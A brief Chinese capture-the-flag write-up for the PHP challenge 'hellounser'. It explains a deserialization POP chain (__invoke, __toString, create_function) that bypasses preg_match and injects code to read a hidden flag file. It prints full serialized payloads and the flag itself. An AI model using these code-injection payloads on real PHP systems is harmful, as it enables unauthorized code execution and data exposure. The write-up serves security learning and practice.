赞
踩
hellounser
难度系数:3
题目描述:无
解题工具:火狐浏览器、php、sublime、在线base64加密(https://www.qqxiuzi.cn/bianma/base64.htm)
解题思路:打开场景,是一串php脚本代码,审计代码,涉及到反序列化知识和魔法函数,通过preg_match()函数过滤了参数,构造payload,具体如下步骤,导入到php中,构造pop链,
pop=O:1:“A”:1:{s:3:“var”;O:1:“B”:2:{s:4:“func”;s:15:“create_function”;s:3:“arg”;s:73:"}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";}},得到flag。
构造payload思路:触发A的__invoke(),通过echo $this->var,触发B类中__toString()函数,最后调用B中的show()方法,中间还有preg_match()函数要绕过。
注:pop=O:1:“A”:1:{s:3:“var”;O:1:“B”:2:{s:4:“func”;s:15:“create_function”;s:3:“arg”;s:32:"}var_dump(get_defined_vars());//";}}通过这个pop链发现flag不在flag.php中,但是在Tru3flag.php文件中,对Tru3flag.php进行base64加密。
参考文件:([BJDCTF2020]EzPHP)https://www.freesion.com/article/57661065075/(第五点比较关键)
https://www.sohu.com/a/299747481_99907709
flag{cd71fedc-9069-4674-a89c-282e48e13bb5}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。